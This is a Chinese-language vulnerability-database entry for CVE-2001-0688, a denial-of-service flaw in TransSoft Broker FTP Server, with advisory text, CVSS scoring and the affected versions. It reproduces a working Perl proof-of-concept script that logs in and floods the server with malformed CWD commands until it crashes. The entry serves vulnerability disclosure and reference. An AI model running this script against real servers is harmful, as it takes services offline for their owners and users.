CVE-2001-0688
CVSS5.0
发布时间 :2001-09-20 00:00:00
修订时间 :2008-09-05 16:24:41
NMCOES    

[原文]Broker FTP Server 5.9.5.0 allows a remote attacker to cause a denial of service by repeatedly issuing an invalid CD or CWD ("CD . .") command.


[CNNVD]TransSoft Broker CWD缓冲溢出漏洞(CNNVD-200109-076)

        CVE(CAN) ID: CAN-2001-0688
        
        
        
        Broker是TransSoft公司的Windows平台下的Ftp服务器软件,发现它的多个版本存在拒
        
        绝服务攻击漏洞。
        
        
        
        登陆成功后,重复输入类似"CD . ."或"CWD . ."的命令会造成缓冲区溢出,然后
        
        导致服务器宕机。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:transsoft:broker_ftp_server:5.0
cpe:/a:transsoft:broker_ftp_server:4.7.5.0
cpe:/a:transsoft:broker_ftp_server:5.7
cpe:/a:transsoft:broker_ftp_server:4.0
cpe:/a:transsoft:broker_ftp_server:3.0_build_1
cpe:/a:transsoft:broker_ftp_server:5.9.5.0
cpe:/a:transsoft:broker_ftp_server:5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0688
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0688
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200109-076
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2851
(VENDOR_ADVISORY)  BID  2851
http://www.securityfocus.com/archive/1/190032
(VENDOR_ADVISORY)  BUGTRAQ  20010610 Broker FTP Server 5.9.5.0 Buffer Overflow / DoS / Directory Traversal

- 漏洞信息

TransSoft Broker CWD缓冲溢出漏洞
中危 输入验证
2001-09-20 00:00:00 2005-10-20 00:00:00
远程  
        CVE(CAN) ID: CAN-2001-0688
        
        
        
        Broker是TransSoft公司的Windows平台下的Ftp服务器软件,发现它的多个版本存在拒
        
        绝服务攻击漏洞。
        
        
        
        登陆成功后,重复输入类似"CD . ."或"CWD . ."的命令会造成缓冲区溢出,然后
        
        导致服务器宕机。
        
        
        
        

- 公告与补丁

        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        
        
        http://www.transsoft.com/broker.htm

        

- 漏洞信息 (20910)

TransSoft Broker FTP Server 3.0/4.0/4.7/5.x CWD Buffer Overflow Vulnerability (EDBID:20910)
windows remote
2001-06-10 Verified
0 byterage
N/A [点击下载]
source: http://www.securityfocus.com/bid/2851/info

Broker is a Windows FTP server from TransSoft.

Versions of Broker are vulnerable to a denial of service.

A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.

The extent of this issue's exploitability is currently unverified. 

#!/usr/bin/perl 

# Broker FTP Server 5.9.5.0 DoS proof of concept
#
# Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>
# Impact : eventually causes an access violation in the TSFTPSRV process
#          the buffer overflow might be exploitable and be used to gain access
#          to the FTP Server hostcomputer.
#
# by [ByteRage] <byterage@yahoo.com>
# www.byterage.cjb.net (http://elf.box.sk/byterage/)

use IO::Socket;

$loginid = "anonymous";
$loginpwd = "anonymous";

if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:"; 
if (!($port = $ARGV[1])) { $port = "21"; } print "$port\n\n"; 
if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } 
if (!($loginpwd = $ARGV[3])) { $loginpwd = "anonymous"; } 

$SOCK = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $SOCK->autoflush();

# get daemon banner
$reply = "";
sysread($SOCK, $reply, 2000);
print $reply;
# login
syswrite $SOCK, "USER $loginid\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
syswrite $SOCK, "PASS $loginpwd\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
sysread($SOCK, $reply, 2000);
print "$reply\nSending crash [";

if (substr($reply,0,1) == '2') {
  # Login succesful, send CWD's
  $i = 1; while ($i) {
    $i = syswrite $SOCK, "CWD .                                                                             .\015\012";
    print ".";
    sleep(1);
  }
print "]\nSocket write failed... possible cause : Host down :(\n";
}
close($SOCK);
exit();		

- 漏洞信息

13948
Broker FTP Server Malformed CD Command DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

2001-06-10 Unknow
2001-06-10 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

TransSoft Broker CWD Buffer Overflow Vulnerability
Input Validation Error 2851
Yes No
2001-06-10 12:00:00 2009-07-11 06:56:00
Reported to bugtraq by ByteRage <byterage@yahoo.com> on June 10, 2001.

- 受影响的程序版本

TransSoft Broker FTP Server 5.9.5 .0
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Terminal Server 4.0
TransSoft Broker FTP Server 5.7
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
TransSoft Broker FTP Server 5.1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 4.0
TransSoft Broker FTP Server 5.0
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
TransSoft Broker FTP Server 4.7 .5.0
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
TransSoft Broker FTP Server 4.0
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
TransSoft Broker FTP Server 3.0 Build 1
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

Broker is a Windows FTP server from TransSoft.

Versions of Broker are vulnerable to a denial of service.

A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.

The extent of this issue's exploitability is currently unverified.

- 漏洞利用

brokerdos.pl courtesy ByteRage &lt;byterage@yahoo.com&gt;

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

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